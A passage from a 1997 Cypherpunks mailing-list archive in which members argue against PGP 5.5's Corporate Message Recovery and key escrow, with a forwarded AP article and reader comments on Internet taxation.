in SnoopWare. Is it possible to do that while keeping your panties on?
Perverted minds want to know...

> > If on the other hand pgp5.x were to use only single recipients for
> > confidentiality, and to base company recovery of encrypted mail
> > folders on key recovery information stored locally alongside the
> > mailbox the system would be less useful to the french government.

  True. This is why it seems all the more odd that PGP leapt over the
obvious to introduce *exactly* what Lying Jackoff Fuck Louis J. Freeh
is asking for--***___IMMEDIATE___*** access to communications.
  Corporate Message Recovery amounts to a _Real-Time_Wiretap_ on email
communications. 

Bonus Question: "Why would a government agency bother with getting a
  court order to _use_ a key they are already in possession of, and
  how would we know if they use it, if they don't have to go to an
  outside source to get possession of it?"

Bonus Prize: One freeh bomb.

Bonus Stupid Question: "Why don't you give me your life savings, to 
  hold for you, and I will only spend it after getting permission
  from someone who won't know whether I am spending it, or not,
  anyway."

Bonus Stupid Prize: One freeh-dumb.

  The government is quite simply trying to poke enough holes in a
variety of privacy/security areas, so that they can shine 'a thousand
points of light' into our private affairs and communications.
  In order to spy on everyone in a corporation, would you rather have
to break a thousand keys, or just one key? Hmmm...tough question...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 20 Oct 1997 02:04:00 +0800
To: Fabrice Planchon <cypherpunks@cyberpass.net
Subject: "First do no harm"
In-Reply-To: <199710181953.UAA00908@server.test.net>
Message-ID: <v03102801b06ff194bce5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:44 PM -0700 10/18/97, Fabrice Planchon wrote:

>I would say people who wrote the current law 2 years ago didn't have a
>clue on the technical issues, anyway. That's why we are still waiting
>for the "decrets d'application", which are the set of rules on how the
>law will be enforced. Somehow I would bet they are waiting to see where
>the wind blow at the international level.

I'm not sure the people who wrote the U.S. laws had a clue, either. (Check
out Dan Bernstein's report in sci.crypt on the latest appeal arguments of
the government side in his case...the Feds are arguing that the First
Amendment (to the U.S. Constitution) does not protect speech that may be
read and acted upon by computers!).

>I know at least one academic site where system administrator were
>prevented from switching to ssh because of the legal issue. Seems the
>campus administration folks wanted to protect their asses...

This is an important point. Covering their asses. I think much of the
"corporate demand" for CMR and CAK has been coming from medium-level
bureaucrats, the mid-level "security staff" who make recommendations on
corporate and institutional purchases. It's not too surprising that the
security staff at Random Corporation and at the University of Middle
America want access to all communications...if it were up to them alone
they'd have video cameras scattered everywhere.

But I predict serious downstream (future) objections to CMR and CAK will
arise. Once the higher-ups at Random Corporation realize that all e-mail
will now be logged in perpetuity for easy perusal in lawsuits, FTC actions,
etc. (*), they'll no doubt have second thoughts.

(* It may be argued that all corporate e-mail is already archived, on the
machine backups for the corporate mail servers, SMTP, etc. Possibly, but
such e-mail is often hard to get. Some sites may choose to not keep mail
server backups, etc. Certainly ISPs have the same machine backups, and yet
it has proven difficult for investigators and whatnot to get complete
e-mail archives on targets. A CMR or CAK system would formalize the
archiving and make obtaining such records much easier. A very tempting
target indeed for "discovery" procedures. Or for law enforcement.)

And as for the University of Middle America, wait until professors and
students discover that UMA bought PGP 5.5 Snoopware for Sysadmins and that
communications with other professors, other employers, etc. will be subject
to snooping by some low-level security employees.

...
>still). But what I certainly fail to understand is why PGP inc (and
>people who support them) is focusing on a solution which allows to
>intercept and read e-mail in transit. That inherently evil, no matter

I agree. It makes the job of snoopers much easier. And while I don't
dispute the property right of a business owner to state the terms of
encryption use on his property, the practical situation is that few
businesses tape-record all telephone calls, open all incoming and outgoing
physical mail, etc. Even though this is in some sense their "right," they
realize the morale effects this would have on employees, the trust issues,
and the sheer impracticality.

(I am reminded of the issue of "personal use" of telephones in companies.
Companies which forbid personal use find decreased productivity as
employees leave the premises to find payphones, or queue up at the
payphones in the cafeteria, etc. Most companies have decided to let
employees--especially their professionals--use their phones for personal
uses, within reason. (My company, Intel, had this policy, though a printout
of calls to long-distance locations was kept, of course, and occasionally
there were inquiries made about the purposes of calls, etc.))

What I expect will happen with CMR and CAK is that employees or professors
or whatever who really need confidentiality--and their are many valid
reasons for this--will use either their own products (probably freeware, to
boot), or will use non-company accounts. The professor at UMA who doesn't
want administrations snoops monitoring his e-mail will use his AOL or
Netcom account. As we are already seeing today. If his institution has a
firewall preventing such services from being connected to (itself a
hardship), he'll just wait until he gets home and send his sensitive mail
then.

PGP could actually lose business this way.


>you put it. And the "hit by a truck" hypothesis doesn't stand a minute
>in real life (Yah, shit happens, so what ?). The (legitimate) needs of a
>company can be achieved via an agreement with its employees, on how data
>are stored, backed, duplicated, whatever, and it has merely nothing to
>do with cryptography. Or am I missing something obvious ?

No, you're not missing anything. The claimed need that PGP for Business
fills is that of recovery of important information. In fact, it fails
miserably at that.

(For reasons several of us have outlined. First, truly confidential
information will be sent in other ways, as noted above. Second, very little
of the important stuff ever travels by e-mail, for obvious reasons. Third,
the important files in the "hit by a truck" scenario are the gigabytes of
local storage on user machines...the circuit files, the process
descriptions, the work in progress, the source code, etc. These are the
files a company wants to protect against unrecoverable encryption. And
these files have very little to do with mail encryption.)

What PGP for Business appears to do, the market it appears to satisfy, is
the desire for some companies and institutions to be able to monitor what
their employees are saying to each other, to detect banned language, to
cover their asses for lawsuits, etc.

(In fact, it fails at most of these uses, too. For obvious reasons. And it
introduces new risks for lawsuits, as noted above.)


>And as far as the "legitimate needs of the law enforcement agencies",
>well, if they want to read e-mail sent by an employee from his company
>account because he is a potential drug dealer, they can obtain the
>proper authorization from the court and snoop on the guy from within the
>company. As usual, the weakest link is the guy typing on his keyboard,
>as I doubt anybody speaks IDEA fluently...(even rot13 I am
>skeptical. Crime organizations in Paris at the beginning of the century
>were using "Javanais", which was a very basic code, but sufficient to
>confuse the police)

Exactly so.

I believe governments will _like_ PGP for Business because it simplifies
the monitoring process for them. If they get a court order telling Random
Corporation to turn over their keys, or convince Random Corporation to
voluntarily cooperate, they now have easy access to _all_ of the traffic.

I believe it's a slam dunk certainty that corporations in many countries
will be required on a pro forma basis to give their keys to the law
enforcement agencies. This does not even seem debatable. Of _course_ these
will be turned over.

(By focussing on the United States we, and PGP, Inc., is missing the
obvious reality that most of the world's nations have no constitutional
protections sufficient to stop this from happening. And even the U.S. may
be able to get these keys easily...invocation of "commerce" and FTC/SEC
sorts of issues may be sufficient.)

>So why isn't everybody focusing on being sure the transport layer is
>secure, and leave to social interaction at both end of the communication
>process the problem of recovery of whatever was transmitted ? (which, I
>feel dumb for saying it, was in clear at some point before being sent,
>and will be when it will be read...)

This is what some of us have been saying for a long time.

I advocate KISS, "Keep it Simple, Stupid," for the OpenPGP effort. Let PGP,
Inc. go off on quixotic crusade to provide snoopware for corporations and
universitites, and let the market decide.

PGP, Inc. should remind themselves of the moral promise doctors make:

"First do no harm."


--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 20 Oct 1997 01:10:56 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: GAT & GAB
In-Reply-To: <199710190925.KAA00865@server.test.net>
Message-ID: <344A3C23.6F66@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
> However the biggest point of all is that: communications keys are more
> valuable to any attacker (government, unscrupulous little brother, or
> industrial spy) than storage keys.
> 
> I would be interested to see any one willing to burn their
> reputational capital refuting that simple point.
> 
> That point is the simple central starting point for all arguments
> about the dangers of allowing recovery information to be transmitted
> with the communication.  Recovery information should be local
> whereever possible.  Bruce Schneier had harsh words to say about
> violating this principle in one of his recent cypherpunks posts.

  Anyone notice the court ruling in regard to the company that sued
to retrieve information that was inside an employee's head, claiming
that his employment agreement made *all* of his ideas the property
of the company.
  Anyone notice that the Thought Judge ruled that the Thought Laws
required the individual to divulge said ideas, or be imprisoned by
the Thought Police?

   Real-Time Message Recovery = Real-Time Thought Recovery 
                      PGP/CMR = Digital Brain Implants 
Government Access to Thoughts = Government Access to Brains

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Mon, 20 Oct 1997 00:58:10 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <199710190903.KAA00780@server.test.net>
Message-ID: <199710191653.MAA06075@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



In <199710190903.KAA00780@server.test.net>, on 10/19/97 
   at 10, Adam Back <aba@dcs.ex.ac.uk> said:

>I talked to some people at CESG (Communications Electronics Security
>Group) (they are part of GCHQ, UK NSA equivalent) in a business setting. 
>It was they who said that France was changing position to going over to
>"key escrow" or TTPs (Trusted Third Parties).  From their point of view
>they seemed to view this as a good development, because they could use
>France as an example of a progressive, socially responsible government
>which the UK government should follow the example of.  They were very
>happy with this because they could use it in their arguments to attempt
>to persuade the UK government and people.

France as a model?!? ROTFLMAO!!!!

I wouldn't recomend Russia or China to follow the French model on
anything, let alone a country like the UK who's government every now and
then remembers what democracy and freedom are.

-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 20 Oct 1997 01:29:55 +0800
To: cypherpunks@ssz.com
Subject: Contractual ownership of ideas and products
Message-ID: <199710191749.MAA05252@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sun, 19 Oct 1997 10:58:11 -0600
> From: TruthMonger <tm@dev.null>
> Subject: GAT & GAB

>   Anyone notice the court ruling in regard to the company that sued
> to retrieve information that was inside an employee's head, claiming
> that his employment agreement made *all* of his ideas the property
> of the company.
>   Anyone notice that the Thought Judge ruled that the Thought Laws
> required the individual to divulge said ideas, or be imprisoned by
> the Thought Police?

IBM has such a non-disclosure agreement that apparently signs over to them
any and all work I may do while employeed by them.

Fortunately I had other pre-existing agreements and when I signed the paper
as a function of employment I added a proviso that I had a consultancy as
well as pre-existing non-disclosures that limited their rights to my work
to only that performed while on-the-clock. Two years later they have never
contacted me regarding this so I assume they accepted it. I know of another
engineer here who said that such proviso's didn't apply to him because he
was under pre-existing contracts with the government (in various ways) that
prevented that sort of contract with him. They didn't refuse him employment
either...

Contracts are contracts, if you don't like a part of it then mark it out and
put your own proviso's in their. If they accept it, by paying you wages for
work, then you are pretty much done with such broad intellectual property
issues.

That's the nice thing about contracts, as a signatory you have a right to
review and modify the contract. Use that right.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 20 Oct 1997 04:05:59 +0800
To: Fabrice Planchon <fabrice@math.Princeton.EDU>
Subject: Re: "First do no harm"
In-Reply-To: <v03102801b06ff194bce5@[207.167.93.63]>
Message-ID: <v03102802b070122e65b9@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:17 PM -0700 10/19/97, Fabrice Planchon wrote:
>On Sun, Oct 19, 1997 at 10:54:18AM -0700, Tim May wrote:
>> I'm not sure the people who wrote the U.S. laws had a clue, either. (Check
>> out Dan Bernstein's report in sci.crypt on the latest appeal arguments of
>> the government side in his case...the Feds are arguing that the First
>> Amendment (to the U.S. Constitution) does not protect speech that may be
>> read and acted upon by computers!).
>
>Ohoh. How interesting. But they have to define what they mean by acted
>upon computers, and we are back to a technical issue they don't
>understand. But does the judge understand this issue better ? If I


By the way, the main discussion for this Bernstein point is on
misc.legal.computing, where followups have been redirected. He asked for
examples, modern and old, of where the government's position could be used
for prior restraint and censorship.

I suggested JPEGs and GIFs, which are clearly machine-readable instructions
telling a computer how to write a pattern of pixels in a display window.
Are we to presume that such JPEGs and GIFs (and WAVs and MOVs and...) have
lost their First Amendment protection? If upheld, the CDA would not even be
needed.

Oh, folks, don't submit your own examples _here_. Do it in the appropriate
thread in misc.legal.computing, so Bernstein can get a lot of examples
collected.


>> corporate and institutional purchases. It's not too surprising that the
>> security staff at Random Corporation and at the University of Middle
>> America want access to all communications...if it were up to them alone
>> they'd have video cameras scattered everywhere.
>
>eheh, I had an argument with my local (PU) system administrator, and at
>some point he said "and what are all mails coming from cypherpunks
>anyway ?" (I hope he reads this one...). So, they are already snooping,
>by fear, or because in a moment of boredom, they look at the mail log
>(the same way phone operators in the old days were listening to calls, I
>guess. Part of human nature)

Yes, they snoop. Out of boredom, out of instructions from Administration,
whatever.  Encryption will help, but not if the same snoopers can continue
to snoop.


>> And as for the University of Middle America, wait until professors and
>> students discover that UMA bought PGP 5.5 Snoopware for Sysadmins and that
>> communications with other professors, other employers, etc. will be subject
>> to snooping by some low-level security employees.
>
>Somehow, I can play the devil advocate and argue that it would be better
>than the current situation where:
>1) people don't use encryption at all
>2) networks are weakly secured and snooping is easy
>3) people use e-mail without thinking it can be snooped, archived, and
>reused later, unlike, say, a phone call.

I disagree. Snoopware will tend to centralize the files to a point where
snooping is easier. Those using PGP 5.0 and earlier will likely be told to
switch to the snoopware version.

While many may not encrypt now, this is changing. Snoopware rolls back the
clock.

To be clear: we should be advocating the wider use of strong encryption,
not arguing that snoopware is better than nothing. Nothing is not really
the proper alternative to weigh snoopware against.


>If you tell a professor that any student can easily read his e-mail but
>that with this nice pgp5.5 software it will be no longer the case, he
>might embrace it readily, even if on the long run and on second thoughts
>it might not be a good idea.

Why does this professor not have the option of PGP 5.0? That's the real
alternative to consider.

(Some of us have fears that development of the "free" version of PGP will
not be supported or developed. While PGP may _hope_ that many buy the PGP
5.0 they plan to sell to individuals, the fact is that most individuals
won't pay money for what they can get for free. This is presumably a
motivation for the development of PGP for Business, with Netscape-like
incentives for corporate buys.)



>> I advocate KISS, "Keep it Simple, Stupid," for the OpenPGP effort. Let PGP,
>> Inc. go off on quixotic crusade to provide snoopware for corporations and
>> universitites, and let the market decide.
>
>Yes and no, as I said before it's not clear what the market will decide,
>if people who make key buying decisions don't do the right thing. Once
>every single university is equipped with pgp5.5, it's not that easy to
>go back. And because of their reputation capital, people are more likely
>to buy the product blindly. Sounds scary ? I don't believe in
>conspiration theory, usually stupidity, ignorance and such are enough to
>make bad things happen. And we see it now.

We all agree that widespread adoption of PGP 5.5 could be scary. Hence our
concerns.

(Even more scary are the many ways various governments could gain easy
access to the CMR keys. Whereas enforcement of key escrow is difficult with
millions of diverse, anarchic users and approaches, CMR essentially
centralizes the target nicely.)

--Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 20 Oct 1997 04:17:50 +0800
To: Ian Miller <ietf-open-pgp@imc.org
Subject: Re: Revealing individual messages.
In-Reply-To: <199710180748.IAA00798@server.test.net>
Message-ID: <3.0.3.32.19971019130323.006dbf48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:34 PM 10/18/1997 +0100, Ian Miller wrote, to ietf-open-pgp@imc.org
>One thing sadly lacking from all current PGP implementations is the ability
>to reveal the contents of _some_ messages encrypted to you, without handing
>over the secret key.  This is most important as damage limitation when
>ordered by a court of law to reveal certain messages.  [The most
>pathological case is where Mallory has generated those messages himself,
>merely to persuade the courts to force you to hand over your privacy key.]

The easy approach is to decrypt the message, but there's of course
no way for the Court to validate that your decryption was correct.
But if you want more than that, it's not hard to write, either by
finding where in the 7000 pages of PGP source (:-) to add a few
print statements, or by using the APIs when they come out.
Perhaps it's even there today, by setting -debug=42 or whatever.

The decryption needs to show
1) The public key that was used to encrypt the message
2) The PK-encrypted session key, including the random padding
3) The decryption of the PK-encrypted session key, including the random padding,
	(and including the algorithm indicator, if it's encrypted)
3.1) Indication of which bits are the session key  itself, for the slow-witted
4) The decrypted compressed plaintext (optional)
5) The decrypted raw plaintext

And it would be nice to have a tool that also provides a mechanism
to encrypt a random-padded session key to a public key 
to verify the output.  Perhaps Adam Back (et al.)'s 2-line perl code,
with some pretty output formatting.

> Accordingly for RSA encryption at least I propose a
>modification to the DEK plaintext that contains the session key.  Currently
>this is largely random containing over a hundred bytes of nonce
>(for a 1024bit-key).  If part of this nonce was replaced by sender-Id,
>timestamp and similar data, then Alice would at least learn who had sent
>the message (Bob) and when.  They might then have to opportunity to contact
>the Bob to ask for retransmission and warn of the interception.

No way.  This is bad.  You don't want traceability built into PGP.
If the sender _wants_ to be traceable, he can sign the message.
If the sender wants convenient but repudiable identification,
he can put his name and any other information he wants in the plaintext.

Besides, PGP doesn't know who the sender _is_ except by signature;
you can set a default key if you like, but otherwise there's no way
for PGP to decide whether to use the "Bob <marley@wailers.com>" key
in Bob's secret key ring, or the "Louis Freeh <biglouie@fbi.com>" key,
and for that matter PGP will work fine with no secret-key file at all.

If you're concerned about Bad Cops planting forged messages on people, 
this won't help - it's easy for them to forge unsigned information also.
After all, the PGP source code is open, so Bad Cops can add code to
set the timestamp/sender/etc themselves.  Or they can ignore code,
and just set their system clock appropriately.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 20 Oct 1997 03:06:59 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199710191918.OAA05602@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
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   Tech banner IBM Active Channel for Microsoft Internet Explorer. Find
   out about your chance to win a computer click here for official rules
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           GOVERNORS WARN COLLECTING INTERNET TAXES WOULDN'T BE EASY
                                       
     Internet taxes October 17, 1997
     Web posted at: 11:12 p.m. EDT (0312 GMT)
     
     WASHINGTON (AP) -- The nation's governors and local officials,
     already having difficulty collecting taxes on catalog sales, said
     Friday a bill aimed at restricting new taxes on the Internet would
     worsen their problems.
     
     "It's very similar," Republican Gov. George V. Voinovich of Ohio
     said at a press briefing. "We've had an ongoing problem in terms of
     how to handle that. We've been continuing to try and work that out
     with those businesses in the states that have the large mail-order
     catalogs."
     
     The National Governors' Association estimates states lose $4 billion
     in sales taxes annually from catalog sales. That's because states,
     cities and counties generally lack the authority to capture sales
     taxes on such sales if the catalog business is headquartered out of
     state.
     
     That problem could only intensify based on the projected growth of
     electronic commerce. Voinovich cited one estimate of $1.5 trillion
     in sales on the Internet by 2002.
     
     "I don't think this is the time for the federal Congress to rush
     into something that will have such a huge impact on state and local
     government," he said.
     
     Joining Voinovich to oppose the Internet tax bill were leaders from
     the National Association of Counties, National League of Cities and
     U.S. Conference of Mayors.
     
     Rep. Chris Cox, a Republican from California, and Sen. Ron Wyden, an
     Oregon Democrat, have sponsored similar bills that would bar any new
     taxes on computer transactions -- such as taxes on Internet access
     or online services -- for an unspecified time while Congress studies
     the whole issue.
     
     The bill would make an exception to the moratorium for income earned
     through an Internet service; local business license taxes, if the
     Internet provider is located within the appropriate jurisdiction;
     and sales or use taxes, so long as they are the same as charged for
     mail or telephone orders.
     
     "We would love to have the bill say what the sponsors say it says,"
     said Brian J. O'Neill, a Philadelphia city councilman, representing
     the National League of Cities. But O'Neill and others say the
     technical language of the bill contains a broad pre-emption of state
     and local taxes.
     
     Wyden spokesman David Seldin strongly disagrees.
     
     "We have bent over backwards to clarify language of the bill so
     there can be no questions" that local governments retain authority
     to levy the same taxes on the Internet that are assessed on catalog
     sales, Seldin said. The bill seeks to halt new local taxes aimed
     specifically at Internet businesses.
     
     One National Governors' Association official said the bill's wording
     would worsen the states' problem of collecting sales taxes on
     catalog sales.
     
     "We know that we have to sit down with the industry and make the
     sales tax work on Main Street, on catalogs and on Internet, in some
     simplified, clear and technologically neutral way," said Tim Masanz
     of the association's economic development group.
     
     "If Congress goes on record and says that Internet sales are the
     equivalent of catalog mail-order sales, those talks are doomed," he
     added.
     
     "I can understand their desire to fight that battle but it would
     certainly not do much good to create a situation where you are
     favoring one at-home purchase over another," said Seldin.
     
     Copyright 1997   The Associated Press. All rights reserved. This
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     * House panels back Internet taxation bill - October 9, 1997
       
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 20 Oct 1997 03:02:10 +0800
To: cypherpunks@ssz.com
Subject: WebX?13@@.ee7b0a7
Message-ID: <199710191918.OAA05623@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   [LINK] 
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            Topic: 
            
   Internet taxation
       
     
     
     The nation's governors and local officials, already having
     difficulty collecting taxes on catalog sales, said Friday, October
     17, a bill aimed at restricting new taxes on the Internet would
     worsen their problems.
     
     Full Story
     
     Should states collect taxes on the net?
     
     
       _______________________________________________________________
     
     Dan Grawe - 10:49am Oct 19, 1997 ET
     
   (#1 of 7)
   
   Nothing says "GREED" like a politician with too much idle time. When
   will there be an end to oppressive taxation. I'm not apposed to paying
   taxes, but good Lord, do they have to tax everything. I think we need
   to get the air conditioning taken out of the government buildings, so
   they don't sit around thinking up new and better ways to put the
   screws to the people who already pay their way.
   
     _________________________________________________________________
   
   joseph herr - 01:15pm Oct 19, 1997 ET (#2 of 7)
   
   ...the internet is uniting the whole planet together in a smarter,
   more organic , more honest way, its improving everything and giving
   all of us easier, more logical alternative solutions in energy ,
   education, food , work and communications ...how can politicians
   destroy something this good and free ? one way is with taxes....lets
   stand united against the politicians corrupt tricks to start
   manipulating this wonderful new tool for growth and democracy...lets
   leave taxes, obsolete religion manipulators, crime and absurd greedy
   politics out from this wonderful new peaceful way....global peace....
   
     _________________________________________________________________
   
   Matthew Snyders - 01:28pm Oct 19, 1997 ET (#3 of 7)
   
   I am not at all surprised that some brain-dead politicians who would
   sell their daughters into slavery for a little cold cash would attempt
   to tax the Internet.
   
   Joseph Herr: If we were to stand united against this, how could we?
   What would we do?
   
     _________________________________________________________________
   
   Michael Mendenhall - 01:34pm Oct 19, 1997 ET (#4 of 7)
   
   No article I've yet to review has provided a coherent argument for the
   public-policy which would be satisfied by Internet taxation. Nothing
   concerns me more than politic automatons who cannot resist the urge of
   government interference in commerce for the sake of government
   control. Few realize that the technology industry of the past decade
   is primarily responsible for our comparative advantage over foreign
   markets. Taxing Internet activity will be the foothold which turns
   this tide.
   
     _________________________________________________________________
   
   David Lefavour - 01:45pm Oct 19, 1997 ET (#5 of 7)
   
   The Internet is already taxed through the existing telephone tax
   collections. Special taxes for the Internet is simply another example
   of double taxation. Most of us are fully aware of the objectives
   behind such efforts and we have had it up to our noses with this
   nonsense.
   
   The time to put a halt to this is already past due.
   
     _________________________________________________________________
   
   William V. Beshlian - 02:03pm Oct 19, 1997 ET (#6 of 7)
   
   Doesn't local government already collect taxes from our local phone
   and cable companies that most of us use to get to our Internet Service
   Providers? That being the case, we are already being taxed once. This
   appears to be an attempt at taxing us twice for the same service.
   Think about it......
   
     _________________________________________________________________
   
   Michael Benezra - 02:37pm Oct 19, 1997 ET (#7 of 7)
   
   Any government that would dare tax the Internet will find Internet
   businesses fleeing that country and operating from a different local.
   After all, on the Internet it does not matter where you are, but what
   you provide to your customers. If you operate from the US or Hong Kong
   does not make a difference to anyone.
   
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Mon, 20 Oct 1997 02:51:28 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Security flaws introduced by "other readers" in CMR
In-Reply-To: <19971019014419.47580@math.princeton.edu>
Message-ID: <19971019143216.59535@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Oct 19, 1997 at 10:03:24AM +0100, Adam Back wrote:
> I talked to some people at CESG (Communications Electronics Security
> Group) (they are part of GCHQ, UK NSA equivalent) in a business
> setting.  It was they who said that France was changing position to
> going over to "key escrow" or TTPs (Trusted Third Parties).  From

I think what caused me to answer was in part your words "changing
position": let's say that up to recently, the french govt position was
no crypto at all (except for authorized entities, and only weak, ie
breakable, crypto). Given the trend on that issue, related to on-line
commerce and so on (the reader has to keep in mind that in France I
seriously doubt the average politician has an idea of what this
means. At best they know the french minitel, which is completely
different), they felt some pressure to change the law in order to permit
the use of crypto. So the move was, well, let's authorize strong crypto
but let's keep the keys. Understandable point of vue, I would say. They
want that because they feel it means statu quo for them, and that's
all. All political issues aside, the technical issues are ignored,
because the guys who decide have no clue, and they probably don't listen
to their own experts who would say that TTP, GAK, key recovery,
whatever, are not that easy to design, implement, and maintain on a
everyday basis. And for that matter, I don't think the situation is that
much different in other western countries, US included.

> Perhaps the CESG are exaggerating because they would like this to be
> the case because it suits their argument.

Yeah, probably. But there is another problem, anyway: some countries
within the EC won't pass any legislation restricting cryto, I think. So
any country within the EC having such a legislation is likely to have
trouble with its partners at some point. Somehow it's like Chirac who
decided to maintain customs with Belgium because people go to Amsterdam
to buy drugs. But in the meanwhile, the border with Germany no longer
has customs, so you drive through Germany to Holland and that's it. So,
it's utterly inefficient, but on the domestic political scene, he can
appear as been strong on drugs.

> > > With the pgp standard as is french government could insist that people
> > > use pgp5.x.  pgp5.x provides a reasonablly useful framework for the
> > > french government to adapt to be used as a master access system.
> > 
> > http://www.lemonde.fr/multimedia/sem4297/textes/act42972.html
> > 
> Do they actually mention PGP software, or OpenPGP standard?  Or just
> the general principle?

They do: the title is "Le programme PGP se range", which I unfortunatly
have know idea of how to translate. And then, they say (I loosely
translate, my english is better than our MISTY friend's, but not perfect
;-)

The last version, aimed at compagnies, of this crypto software (still
banned from use in France) includes the highly controversial feature
known as key escrow.
[...]
Of course this system has advantages: when an employee is sick or away,
you can access his files. But, it's reasonnable to think that such a
system could be used for spying purposes.
Within the governement, the key escrow proposal is seriously
challenged. Some, in charge of national security, favor it as necessary
to decrypt terrorists or drug dealer messages, and others, more
concerned by privacy, are against it. In France, the governement chose
this option of TTP.
[Note: somehow this last sentence is in contradiction with the previous
one. It's *not* a side effect of my translation...]

Then, the article recalls that the situation was different in the US,
and that the FBI would like to have something like key escrow, but that
a recent proposal was defeated in congress. They finally recall how PGP
is widely available all over the world, and how the last version was
exported as a book to defeat the export controls.

So, I certainly agree with you that the proGAK have won, or will. As
long as they don't enforce the current laws, as an individual I don't
care. But I fear, as you do, that as soon as you have things like pgp
5.5 which are available, they will start saying "use this or go to jail".

> But, the simple fact is that I think PGP Inc have not evaluated these
> indirect implications for GAK politics.  This means I think that they
> have pure intentions.  Unfortunately these pure intentions do not help
> us if the effect is as I fear: that the result helps the GAKkers to
> some significant amount.

I think, but I might be wrong, that they have at least to reasons, which
have already be given:
-first, what they did was somehow "easy" (don't jump on me, I don't
write code !!) to implement within the existing code. This is reflected
by what W.Geiger said, that anything pgp5.5 does he could do with
scripts in the old version. Or at least a good part of it.
-second, they don't know what will happen in 12 months, so they cover
their asses. I hope this isn't true, but it's a matter of personnal
opinion more than anything else.

> You confirm my suspicions.  I have several people I know in France who
> use encryption illegally.  Not least of these is Jerome Thorel himself
> :-) (He who interviewed the SCSSI and had it spelt out to him that it
> was illegal, but they wouldn't bother you if you didn't ask
> permission).  However those that I know are effectively anti-GAK
> activists, or cypherpunk type individuals.

A quick search on the MIT key server tells you that there are 538 valid
keys registered with an *.fr address.
If you remove all keys registered in 97, you are left with 232. Remove
96, it goes down to 132, 95 -> 39 and then I know a fair number of them
;-)
So, it seems to me that the number of illegal users is growing up,
anyway.
Interesly enough, most of the registered users are registered with
personnal e-mail addresses, not compagnies e-mail addresses, if you
except academic sites. 

> It is not really that technical an idea.  The idea is simply that
> communications keys are more valuable to government than storage keys.
>[...]
> The reason is that they consider it purely a recovery mechanism for
> stored emails.  That it has this side effect of making a product which

As I said before, I guess they did it this way by lazyness more than
anything else. I think your solution requires more thinking, new code,
and all that sort of things. More brain demanding, in some sense (and
time consuming, whereas their solution is ready, works, can be sold,
makes the compagny make profits, and so on). So, arguing with political
arguments doesn't stand a chance against a market driven compagny, be it
PGP with all its reputation capital. Everybody should concentrate on
technical issues, and several of these have been pointed out, by you and
others.

> There you have the Tim May proposal.  Do not recover, just store in
> clear.  Most data on disks already is, so why bother.  If you want to
> encrypt work out those problems when you come to them, as a separable
> issue.  This is a very compelling argument to me.

Well, facts are that it is the current situation, and IIRC what TM what
saying. Once again, in term of costs, it's the easiest solution. And
within a compagny, in a trusted environment, it doesn't matter wether
your hard drive is encrypted. Things which need protection from inside
